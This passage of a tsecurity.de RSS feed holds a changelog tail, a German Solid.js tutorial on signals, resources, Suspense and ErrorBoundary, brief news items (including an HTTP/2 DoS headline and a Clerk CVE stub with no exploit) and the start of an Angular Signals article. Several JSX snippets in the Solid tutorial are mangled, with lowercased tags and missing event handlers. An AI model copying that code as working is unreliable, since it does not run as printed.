<p>Fixed no-append live-region pinned repaints to re-anchor the hardware cursor when the logical viewport shifts.</p>
</li>
<li>
<p>Fixed keybinding matching so printable uppercase input preserves <code>Shift</code> for bindings such as <code>shift+a</code>.</p>
</li>
<li>
<p>Optimized terminal image-line detection and Thai/Lao AM normalization checks to avoid hot-path regex scans and substring allocations.</p>
</li>
<li>
<p>Fixed <code>Markdown.render()</code> cache hits returning the cache's mutable backing array, which let callers that append extra rows corrupt cached Markdown and duplicate those rows on every redraw.</p>
</li>
<li>
<p>Fixed first-paint full replays for callers that intentionally replace terminal history by allowing <code>TUI.start({ clearScrollback: true })</code>, so they do not briefly append an entire initial frame before the first clean replay.</p>
</li>
<li>
<p>Fixed ED3-risk streaming cap accounting to preserve the native scrollback high-water mark for rows that were already physically committed before transient frames were viewport-capped.</p>
</li>
<li>
<p>Fixed terminal stop and restore cleanup to disable enhanced paste mode so it does not remain enabled after shutdown</p>
</li>
<li>
<p>Removed the per-frame line-fit <code>Map</code> cache from the render timer path to avoid forcing JSC rope-string hashing during scheduled viewport repaints.</p>
</li>
<li>
<p>Fixed <code>visibleWidth()</code> so terminal column measurements for ANSI and OSC text now match the native truncation/wrapping helpers, including OSC 66 text-sizing spans being counted at their scaled payload width</p>
</li>
<li>
<p>Fixed cursor, padding, and line-fit behavior when strings contain tabs or OSC escapes by aligning <code>visibleWidth()</code> with the native text-width model</p>
</li>
<li>
<p>Fixed the transcript — or a re-appearing prior view such as the welcome screen — duplicating itself on terminals without a scroll-position oracle (Ghostty/kitty/iTerm/WezTerm) when a foreground tool completes by rewriting a partly-committed block, or when the transcript is reset. A non-destructive viewport repaint no longer re-paints rows that are byte-identical to what is already committed to native scrollback into the active grid; the repaint anchor is clamped to the committed-and-unchanged prefix (<code>min(firstChanged, scrollbackHighWater)</code>).</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): route llama.cpp parallel tool calls by <code>item.call_id</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605305722" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2016" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2016/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2016">#2016</a></li>
<li>fix(debug): accept directory programs for dlv and auto-select dlv mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605979296" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2021" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2021/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2021">#2021</a></li>
<li>fix(ai): coerce singleton array arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4606419503" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2027" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2027/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2027">#2027</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.10.0...v15.10.1"><tt>v15.10.0...v15.10.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Solid.js – ein Tutorial]]></title>
<description><![CDATA[Solid hinterlässt einen soliden Eindruck.baranq | shutterstock.com



Solid.js verfolgt einen einzigartigen Ansatz, wenn es um Reactive State Management geht. Das hat auch andere reaktive JavaScript-Frameworks maßgeblich beeinflusst. Solid bietet einen kompakten Satz reaktiver Primitive, die auf ...]]></description>
<link>https://tsecurity.de/de/3578761/it-security-nachrichten/solidjs-ein-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578761/it-security-nachrichten/solidjs-ein-tutorial/</guid>
<pubDate>Sun, 07 Jun 2026 06:06:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/09/baranq_shutterstock_461236648_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Solid 16z9" class="wp-image-4049702" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Solid hinterlässt einen soliden Eindruck.</figcaption></figure><p class="imageCredit">baranq | shutterstock.com</p></div>



<p><a href="https://www.solidjs.com/" target="_blank" rel="noreferrer noopener">Solid.js</a> verfolgt einen einzigartigen Ansatz, wenn es um Reactive State Management geht. Das hat auch andere <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">reaktive JavaScript-Frameworks</a> maßgeblich beeinflusst. Solid bietet einen kompakten Satz reaktiver Primitive, die auf “Signals” statt auf State basieren. Diese unterstützen Funktionen höherer Ordnung. Dank seines übersichtlichen Kerndesigns, das auf Geschwindigkeit ausgelegt ist und seinen Enterprise-Funktionen brachte es das Framework im Rahmen der aktuellen “<a href="https://2024.stateofjs.com/en-US" target="_blank" rel="noreferrer noopener">State of JavaScript</a>“-Umfrage auf einen beeindruckenden Wert von 90 Prozent bei der Entwicklerzufriedenheit.</p>



<p>Sämtliche Features von Solid schnell zu durchdringen, kann allerdings überwältigend sein. Die gute Nachricht: Sie können darauf vertrauen, dass Solid seinem Namen gerecht wird und mit robusten Funktionalitäten auch das Gros Ihrer Bedürfnisse abdeckt.</p>



<h2 class="wp-block-heading">Neues Projekt mit SolidStart aufbauen</h2>



<p>Wie andere Frameworks seiner Klasse bietet Solid eine Full-Stack-Plattform, die Funktionen wie serverseitiges Rendering (SSR) unterstützt. Das JavaScript-Framework verfügt zudem über ein <a href="https://www.computerwoche.de/article/2834573/9-kommandozeilen-tools-die-jeder-dev-braucht.html" target="_blank">Befehlszeilen-Tool</a>, um Projekte zu starten und zu verwalten. SolidStart ist dabei die offizielle Methode, um ein neues Solid-Projekt aufzubauen.</p>



<p>Nachdem ich kürzlich erste Erfahrungen mit <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html" target="_blank">Roo Code und Gemini in Visual Studio Code</a> gesammelt habe, kommt auch für dieses Tutorial dieser KI-gestützte Stack zum Einsatz. Der Vergleichbarkeit halber, habe ich jedoch auch manuell programmiert. Auf meinen Request hin hat Roo Code zunächst folgendes Gerüst für unser Solid-Projekt generiert:</p>



<pre class="wp-block-code"><code>npm create solid@latest -- --template typescript --name iw-solid-app</code></pre>



<p>Obwohl dieser Befehl sinnvoll ist, um ein neues Projekt mit einem Template und <a href="https://www.computerwoche.de/article/3982154/tutorial-von-javascript-zu-typescript.html" target="_blank">TypeScript</a> zu starten, war die KI leider nicht intelligent genug, um mit dem interaktiven CLI-Prompt zu interagieren. Nachdem ich einige Fragen der KI beantwortet hatte, resultierte der Befehl dann in einer Fehlermeldung. Also führte ich das Kommando aus, auf das ich normalerweise zurückgegriffen hätte: <code>npm create solid@latest</code>. Diese Mischung aus manueller und KI-unterstützter Programmierarbeit scheint der aktuelle Stand der Technik für moderne Entwicklungsprojekte zu sein. Es ist also weiterhin notwendig, tatsächlich zu verstehen, wie die Technologie funktioniert. </p>



<p>Um die App im Developer-Modus auszuführen, nutzen Sie: <code>$ npm run dev</code>. Wenn Sie nun <strong>http://localhost:3000</strong> aufrufen, sehen Sie folgendes Template:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/Solid-example-app-screenshot.png?w=1024" alt="Screenshot of the generated Solid application." class="wp-image-4046343" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p>Der Dev-Server unterstützt On-the-Fly-Updates einschließlich Hot Module Replacement (<a href="https://stackoverflow.com/questions/24581873/what-exactly-is-hot-module-replacement-in-webpack" target="_blank" rel="noreferrer noopener">HMR</a>). Wenn Sie also Änderungen an Dateien vornehmen, werden diese automatisch im Browser aktualisiert.</p>



<h2 class="wp-block-heading">Reactive State Management mit Signals</h2>



<p>Wie andere Frameworks auch, ermöglicht Solid es, Komponenten zu erstellen, um Funktionen im User Interface zu kapseln. Und wie React nutzt das Framework <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a> als Template-Sprache. Die <code>counter.tsx</code>-Komponente von SolidStart vermittelt Ihnen eine Vorstellung davon, wie Signals in Solid genutzt werden, um den State zu managen:</p>



<pre class="wp-block-code"><code>import { createSignal } from "solid-js";
import "./Counter.css";

export default function Counter() {
  const [count, setCount] = createSignal(0);
  return (
    <button class="increment"> setCount(count() + 1)} type="button"&gt;
      Clicks: {count()}
    </button>
  );
}</code></pre>



<p>Das deckt sich weitgehend mit einer React-Komponente – mit dem Unterschied, dass React <code>useState</code> verwendet und nicht wie Solid <code>createSignal</code>. Signals funktionieren etwas anders als States: Sie ermöglichen dem Framework granularen Zugriff auf das Document Object Model (<a href="https://de.wikipedia.org/wiki/Document_Object_Model" target="_blank" rel="noreferrer noopener">DOM</a>). Die Engine kann dadurch jeweils nur den spezifischen Knoten aktualisieren, bei dem das nötig ist. Signals sind zudem auch allgemeinere Operatoren in Solid. Im Gegensatz dazu managt <code>useState</code> lediglich den Komponenten-State.</p>



<p>Zu beachten ist darüber hinaus, dass über den Call der Getter-Funktion auf Signals (wie <code>count</code>) zugegriffen wird – nicht direkt über die Variable.</p>



<h2 class="wp-block-heading">Signals &amp; Effects</h2>



<p>Weil Solid-Komponenten ein Funktionsaufruf sind, werden sie nur einmal ausgeführt, sobald sie erstellt werden. Sollten Sie auf ein Signal außerhalb des Templates zugreifen wollen, müssen Sie es in einen Effect “wrappen”. Innerhalb von JSX können Sie dazu einfach den Signal-Getter aufrufen, so wie wir es gerade mit <code>count()</code> getan haben. Sobald sich der reaktive Wert ändert, erhalten Sie ihn. Im Hauptteil der Funktion müssen Sie jedoch einen Effect einsetzen:</p>



<pre class="wp-block-code"><code>console.log("Count:",count()); // ❌ not tracked - only runs once during initialization.

createEffect(()=&gt;{  console.log(count()); // ✅ will update whenever `count()` changes.
});
// snippet from the docs</code></pre>



<p>Hierbei stellt <code>useEffect</code> eine Art Ad-hoc-Beobachter für Signals dar. Diese Funktion zu verwenden, empfiehlt sich immer dann, wenn Sie einen Effect außerhalb der Vorlage basierend auf einem Signal ausführen müssen. Mit <code>createSignal</code>, <code>createEffect</code> und der nativen Reaktivität von JSX stehen Ihnen die meisten grundlegenden <a href="https://www.computerwoche.de/article/2825632/was-ist-reactive-programming.html" target="_blank">Reactive-Elemente</a> zur Verfügung.</p>



<h2 class="wp-block-heading">Remote API abrufen</h2>



<p>Auf den Grundfunktionen von Signals fußen weitere Solid-Funktionen. Eine davon ist <code>createResource</code>. Mit dieser simplen Erweiterung von <code>createSignal</code> lassen sich asynchrone Requests auf reaktive Weise einfach handhaben. Wir verwenden diese Funktion, um eine “Witz-Komponente” zu erstellen, die zehn Witze aus der Joke-<a href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">API</a> abruft und anzeigt. Zunächst fügen wir dazu die Komponente in <code>index.tsx</code> ein:</p>



<pre class="wp-block-code"><code>import Joker from "~/components/Joker";
// …
<joker></joker></code></pre>



<p>Anschließend können wir im Komponentenverzeichnis eine simple Fetch-Operation erstellen:</p>



<pre class="wp-block-code"><code>import { createResource } from "solid-js";

const fetchProgrammingJokes = async () =&gt; {
  const response = await fetch(`https://official-joke-api.appspot.com/jokes/programming/ten`);
  return response.json();
};

export default function JokerSimple() {
  const [jokes] = createResource(fetchProgrammingJokes);

  return (
    <div>
      <h2>Raw Jokes JSON</h2>
      <pre>{JSON.stringify(jokes(), null, 2)}</pre>
    </div>
  );
}</code></pre>



<p>Diese Version weist weder Error Handling noch Display-Logik auf. Vielmehr besteht der Sinn darin, hervorzuheben, wie <code>createResource</code> die <code>createSignal</code>-Funktion umschließt und asynchrone Vorgänge wie <code>fetch</code> deutlich erleichtert. Der Knackpunkt liegt dabei darin, dass <code>fetchProgrammingJokes</code> ein <a href="https://www.computerwoche.de/article/4005772/promise-probleme-in-javascript-beheben.html" target="_blank">Promise</a> zurückgibt und der Call von <code>createResource</code> es ermöglicht, eine <code>jokes()</code>-Funktion zu erstellen, die sich frei im Template verwenden lässt, um die Ergebnisse zu erfassen.</p>



<h2 class="wp-block-heading">Idiomatische Loops in Solid</h2>



<p>Mit dem <code><for></for></code>– Element gestalten wir die Anzeige nun etwas gefälliger. Dabei handelt es sich um einen idiomatischen Loop, der eine bessere Performance gewährleisten soll als der funktionale <code>map</code>-Operator:</p>



<pre class="wp-block-code"><code>import { createResource, For } from "solid-js";
//...
<for each="{jokes()}">
  {(joke) =&gt; (
    <li key="{joke.id}">
      <strong>{joke.setup}</strong>
      <p>{joke.punchline}</p>
    </li>
  )}
</for></code></pre>



<p><code><for></for></code> ermöglicht, ein iterierbares Objekt – wie das <a href="https://www.computerwoche.de/article/2832516/das-grosse-javascript-array-tutorial.html" target="_blank">Array</a>, das vom <code>Jokes()</code>-Promise zurückgegeben wird – zu verarbeiten, wenn es aufgelöst wird. Um die Asynchronous-Resolution-Mechanismen müssen Sie sich nicht kümmern. Innerhalb des Loops haben wir zudem Zugriff auf das Iteratorobjekt <code>joke</code>. Dieses nutzen wir an dieser Stelle, um eine einfache Liste von Elementen, respektive Witzen, zu erstellen. Ein (mehr oder weniger witziges) Beispiel: <code>Wohin geht eine API zum Essen? Ins RESTaurant.</code></p>



<h2 class="wp-block-heading">Suspense Boundaries</h2>



<p>Die <code><suspense></suspense></code>-Komponente erleichtert es, Grenzen (Boundaries) zu definieren, an denen ein <a href="https://www.computerwoche.de/article/2833923/mit-promises-asynchron-programmieren.html" target="_blank">asynchroner</a> Ladevorgang seine verschiedenen States anzeigen kann. In der folgenden Beispielanwendung (die auf unserem vorherigen Beispiel aufbaut), sehen Sie <code><suspense></suspense></code> in Aktion:</p>



<pre class="wp-block-code"><code>import { createResource, For, Suspense } from "solid-js";
// ...
<suspense fallback="{&lt;p">Fetching jokes... please wait!}&gt;

<for each="{jokes()}">
  {(joke) =&gt; (
    <li key="{joke.id}">
      <strong>{joke.setup}</strong>
      <p>{joke.punchline}</p>
    </li>
  )}
</for>
</suspense></code></pre>



<p>Zu beachten ist hier, dass Sie <code><suspense></suspense></code> nicht mitteilen müssen, auf welches Promise oder welche Ressource es “wartet”. Es erkennt automatisch die asynchronen Vorgänge in seinem Inneren und wartet darauf, dass diese aufgelöst werden. In der Zwischenzeit werden Platzhalter anzeigt. Das gestaltet es sehr einfach, die Fetch States zu händeln.</p>



<h2 class="wp-block-heading">Error Boundaries</h2>



<p>Davon abgesehen ist es häufig nötig, für <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">Benutzeroberflächen</a> auch Boundaries für das Error Handling zu definieren. Auch diesen Prozess gestaltet Solid schmerzfrei:</p>



<pre class="wp-block-code"><code>import { createResource, For, Suspense, ErrorBoundary } from "solid-js";
<errorboundary fallback="{(err)"> (
    <div color: border: solid red padding: borderradius:>
      <h3>Failed to load jokes!</h3>
      <p>Error details: {err.message}</p>
    </div>
  )}
&gt;
   <suspense fallback="{&lt;p">Fetching punchlines... please wait!}&gt;
      <ul>
        <for each="{jokes()}">
          {(joke) =&gt; (
            <li key="{joke.id}">
              <strong>{joke.setup}</strong>
              <p>{joke.punchline}</p>
            </li>
          )}
        </for>
      </ul>
   </suspense>
 </errorboundary></code></pre>



<p>Dieser Code entspricht unserer vorherigen Version – nur, dass er nun von der <code>ErrorBoundary</code>-Komponente umschlossen wird. Mit dieser können Sie einfach einen Teil der Benutzeroberfläche definieren, der angezeigt werden soll, wenn beim asynchronen Call etwas schiefläuft. Um das zu testen, können Sie einen Tippfehler in die Jokes-API einbauen.</p>



<h2 class="wp-block-heading">Event Handling in Solid</h2>



<p>Das Event Handling von Solid testen wir nun, indem wir die Pointe aus dem Inline Display entfernen, einen Mausklick auf das Setup erfassen und dann die Pointe in einer Warnmeldung anzeigen:</p>



<pre class="wp-block-code"><code><strong> handleSetupClick(joke.punchline)}
  style={{ cursor: 'pointer', color: 'blue', textDecoration: 'underline' }}
  title="Click to reveal punchline"
&gt;
  Setup: {joke.setup}
</strong></code></pre>



<p>Hier ist der Ereignis-Handler, der innerhalb der Komponentenfunktion definiert ist:</p>



<pre class="wp-block-code"><code>export default function JokerSimple() {
    const handleSetupClick = (punchline: string) =&gt; {
    alert(punchline);
  };
//...</code></pre>



<p>Wenn Sie nun auf die Setup-Zeile klicken, bewirkt die <code>onClick</code>-Eigenschaft, dass <code>handleSetupClick</code> ausgeführt wird. Diese ist als Template Expression (in geschweiften Klammern) und als anonyme Inline-Funktion definiert, die den Call an die simple <code>handleSetupClick</code>-Funktion weiterleitet. Diese öffnet wiederum einen Alert mit der Pointe. Letztgenannte wird aus dem Template übergeben, indem <code>joke.punchline</code> als Argument aufgerufen wird. Wenn Sie auf <code>"Wo hängen Programmierer gerne rum?"</code> klicken, erhalten Sie die Antwort: <code>"In der Foo Bar."</code> (dieser Witz ist so schlecht, dass er schon wieder gut ist).</p>



<h2 class="wp-block-heading">Eine reaktive Checkbox</h2>



<p>Stellen Sie sich nun vor, Sie möchten die Möglichkeit hinzufügen, zwischen der Anzeige von <a href="https://www.computerwoche.de/article/2777705/irre-quellcode-kommentare.html" target="_blank">Programmiererwitzen</a> und <a href="https://www.computerwoche.de/article/2602407/die-20-schaebigsten-microsoft-witze.html">allgemeinen Witzen</a> umzuschalten. Die Remote-API überprüft dazu, ob <code>"programming"</code> im vorletzten Part der URL (<code>…/jokes/programming/ten versus …/jokes/ten</code>) vorhanden ist oder nicht. Um den Benutzern zu ermöglichen, die Anzeige umzuschalten, fügen wir nun auf unserer Seite ein Kontrollkästchen hinzu. Dazu erstellen wir zuerst ein neues Signal namens <code>jokeType</code> – mit einem leeren String als Anfangswert:</p>



<pre class="wp-block-code"><code>const [jokeType, setJokeType] = createSignal("");</code></pre>



<p>Im nächsten Schritt fügen wir nun ein Checkbox-Element am Anfang des Haupt-Divs ein:</p>



<pre class="wp-block-code"><code>{setJokeType(jokeType()==''?'programming/':'')}}&gt; </code></pre>



<p>Die Attribute <code>checked</code> und <code>onInput</code> sind Solid-spezifisch. Um den Wert des <code>jokeType()</code>-Signal mit <code>"programming/"</code> zu vergleichen, nutzt das <code>checked</code>-Attribut einen Token,. Mit anderen Worten: Das Kästchen ist angehakt, wenn der Wert von <code>jokeType</code> <code>„programming/“</code> ist. In diesem Beispiel nutzen wir einen String für das Kontrollkästchen anstelle eines <a href="https://www.computerwoche.de/article/3993887/5-boolean-tipps-fur-entwickler.html" target="_blank">Booleschen Werts</a>, weil <code>createResource</code> keine Reactive Update für falsche Werte auslöst. Das <code>onInput</code>-Attribut verarbeitet den Input Event für die Checkbox. Wird es ausgelöst, ändern wir den Wert von <code>jokeType</code> so, dass er zwischen einem leeren String und <code>"programming/"</code> wechselt. Diesen sich verändernden Wert verwenden wir in der Joke-Fetcher-URL.</p>



<h2 class="wp-block-heading">Signal &amp; Ressource kombinieren</h2>



<p>Im letzten Schritt kombinieren wir nun das neue Signal und die Ressource. Hierbei handelt es sich um eine Form der Derived Reactivity, bei der die Ressource den State des Signals überwacht und sich entsprechend aktualisiert. Anschließend werden die Teile der App, die die Ressource überwachen, nacheinander aktualisiert. Zusätzlich zu dem Promise, das den Fetching-Job übernimmt, akzeptiert <code>createResource</code> ein <a href="https://docs.solid.com/reference/basic-reactivity/create-resource" target="_blank" rel="noreferrer noopener">Quellsignal</a> als erstes Argument. Das erleichtert es, sie für unseren Use Case miteinander zu verketten:</p>



<pre class="wp-block-code"><code>const [jokes] = createResource(jokeType, fetchJokes);</code></pre>



<p>Wenn sich nun der Wert von <code>jokeType</code> ändert, aktualisiert die <code>jokes()</code>-Ressource auch die Elemente, die von ihr abhängig sind. Die Joke-Fetcher-Funktion erhält ebenfalls das Ergebnis des Quellsignals:</p>



<pre class="wp-block-code"><code>const fetchJokes = async (jokeType) =&gt; {
  return (await fetch(`https://official-joke-api.appspot.com/jokes/${jokeType}ten`)).json();
}</code></pre>



<p>Zu beachten ist dabei, dass das Signal <code>jokeType</code> eine direkte Variable im Argument von <code>fetchJokes</code> ist (das Ergebnis der Auflösung des <code>jokeType</code>-Promise). Die <code>fetch</code>-URL nutzt den Wert von <code>jokeType</code>. Wenn das Signal über das Kontrollkästchen geändert wird, erkennt Solid das und ruft die Liste der Witze automatisch erneut ab – mit der aktualisierten URL. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2271109/hands-on-with-the-solid-javascript-framework.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI’s Codex helps discover HTTP/2 Bomb DoS attack that can nuke over 30GB of RAM within seconds, knocking web servers offline before they can react]]></title>
<description><![CDATA[A new attack technique affects HTTP/2 configurations of major web servers, but some have released patches already.]]></description>
<link>https://tsecurity.de/de/3573820/it-nachrichten/openais-codex-helps-discover-http2-bomb-dos-attack-that-can-nuke-over-30gb-of-ram-within-seconds-knocking-web-servers-offline-before-they-can-react/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573820/it-nachrichten/openais-codex-helps-discover-http2-bomb-dos-attack-that-can-nuke-over-30gb-of-ram-within-seconds-knocking-web-servers-offline-before-they-can-react/</guid>
<pubDate>Thu, 04 Jun 2026 22:16:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new attack technique affects HTTP/2 configurations of major web servers, but some have released patches already.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is rewriting Windows 11 shell in native code, killing the web slop slowing your PC]]></title>
<description><![CDATA[Microsoft is finally ditching the resource-heavy web wrappers and React Native components that have slowed down Windows 11. At Build 2026, the company confirmed it is aggressively rewriting the Windows shell and first-party features entirely in native WinUI code to make the OS fast and responsive...]]></description>
<link>https://tsecurity.de/de/3572863/windows-tipps/microsoft-is-rewriting-windows-11-shell-in-native-code-killing-the-web-slop-slowing-your-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572863/windows-tipps/microsoft-is-rewriting-windows-11-shell-in-native-code-killing-the-web-slop-slowing-your-pc/</guid>
<pubDate>Thu, 04 Jun 2026 16:10:43 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft is finally ditching the resource-heavy web wrappers and React Native components that have slowed down Windows 11. At Build 2026, the company confirmed it is aggressively rewriting the Windows shell and first-party features entirely in native WinUI code to make the OS fast and responsive.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/06/04/microsoft-is-rewriting-windows-11-in-native-code-killing-the-web-app-slop-slowing-your-pc/">Microsoft is rewriting Windows 11 shell in native code, killing the web slop slowing your PC</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42349 | clerk javascript unusual condition (GHSA-w24r-5266-9c3c)]]></title>
<description><![CDATA[A vulnerability has been found in clerk javascript, shared, backend, nextjs, -react, react, vue, astro, nuxt, -expo, expo, react-router, tanstack-react-start, chrome-extension, fastify, express and hono and classified as critical. This impacts an unknown function. This manipulation causes imprope...]]></description>
<link>https://tsecurity.de/de/3572606/sicherheitsluecken/cve-2026-42349-clerk-javascript-unusual-condition-ghsa-w24r-5266-9c3c/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572606/sicherheitsluecken/cve-2026-42349-clerk-javascript-unusual-condition-ghsa-w24r-5266-9c3c/</guid>
<pubDate>Thu, 04 Jun 2026 14:38:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/clerk:javascript">clerk javascript, shared, backend, nextjs, -react, react, vue, astro, nuxt, -expo, expo, react-router, tanstack-react-start, chrome-extension, fastify, express and hono</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts an unknown function. This manipulation causes improper check for unusual conditions.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-42349">CVE-2026-42349</a>. The attack can be initiated remotely. There is not any exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Angular Signals explained: How pull-based reactivity changes how we model state]]></title>
<description><![CDATA[Angular’s introduction of Signals has generated both excitement and confusion. For many developers, Signals appear to be “simpler observables” or a more convenient way to trigger updates without subscriptions. Others attempt to map them directly onto familiar RxJS patterns, expecting emissions, o...]]></description>
<link>https://tsecurity.de/de/3571974/ai-nachrichten/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571974/ai-nachrichten/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state/</guid>
<pubDate>Thu, 04 Jun 2026 11:03:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Angular’s introduction of Signals has generated both excitement and confusion. For many developers, Signals appear to be “simpler observables” or a more convenient way to trigger updates without subscriptions. Others attempt to map them directly onto familiar RxJS patterns, expecting emissions, operators, and event-style coordination.</p>



<p>Both interpretations miss the point.</p>



<p>Signals are not primarily an event system, and they are not designed to replace RxJS. They represent a different way of modeling application behavior, one that centers on current state and explicit dependencies rather than sequences of events. This distinction is subtle at first, but it has significant consequences for how applications are structured and reasoned about over time.</p>



<p>In a previous article, “<a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a>,” we reframed form behavior as a state-driven problem rather than an event-driven one. That shift raises an important follow-up question: what kind of reactive primitive is best suited for expressing state and derived behavior? To answer that, we need to understand Signals on their own terms, independent of any specific feature such as forms.</p>



<p>This article examines Angular Signals as a reactivity model rather than a convenience API. By clarifying what Signals are and, just as importantly, what they are not, we can better understand where they fit alongside RxJS and why they align so naturally with state-heavy problems such as form modeling.</p>



<h2 class="wp-block-heading"><a></a>Signals as a state primitive (not an event system)</h2>



<p>To understand why Signals are a good fit for form modeling, it helps to be precise about what Signals are, and just as importantly, what they are not.</p>



<p>Signals are not an event system. They do not represent a sequence of things that happened over time. Instead, a signal represents a <em>current value</em>, along with a dependency graph that describes how other values derive from it. When a signal changes, Angular does not broadcast an event. It simply marks dependent computations as stale and reevaluates them the next time they are read. This is what we mean by fine-grained change detection control.</p>



<p>This distinction may seem subtle, but it has profound implications for how we reason about application logic.</p>



<p>Reactive streams encourage developers to think in terms of emissions. When something changes, subscribers are notified, operators transform the stream, and side effects occur in response. This model is extremely powerful for asynchronous workflows, but it introduces temporal reasoning even when time is not an essential concern. Developers must ask not only <em>what</em> the current state is, but <em>how</em> it arrived there and <em>which emission</em> triggered a particular piece of logic.</p>



<p>Signals, by contrast, encourage a declarative, pull-based model. A computed signal does not react to changes as they occur. Instead, it declares that its value depends on other signals. When those dependencies change, the computed value is simply recomputed the next time it is accessed. There is no notion of subscription order, missed emissions, or stale listeners.</p>



<p>This pull-based model aligns naturally with form state. At any moment, a form has a well-defined set of values. From those values, validity, error messages, and UI flags can be derived. These relationships do not depend on the sequence of changes that led to the current state. They depend only on the current state itself.</p>



<p>This is why Signals feel simpler when applied to state-heavy problems. They shift the developer’s focus away from orchestration and toward declaration. Instead of asking “What should happen when this changes?”, the question becomes “What does this value depend on?”</p>



<p>It is important to note that this does not make Signals a replacement for RxJS. Angular still relies on observables for asynchronous streams, external events, and integration with APIs that produce values over time. Signals and RxJS serve different purposes. In the context of forms, Signals are best used to represent <em>state and derived state</em>, while RxJS remains useful for asynchronous side effects and integration points.</p>



<p>By keeping this distinction clear, we avoid the trap of using Signals as a less expressive event system. Instead, we use them for what they do best: modeling state in a way that is explicit, deterministic, and easy to reason about.</p>



<h2 class="wp-block-heading"><a></a>Designing a signal-first form model with Angular Signal Forms</h2>



<p>Before looking at any concrete implementation, it is worth clarifying what a “signal-first” form model actually implies. The goal is not to introduce a new abstraction that replaces Angular Forms, nor is it to hide form behavior behind another layer of indirection. Instead, the intent is to reorient how form state is represented and reasoned about.</p>



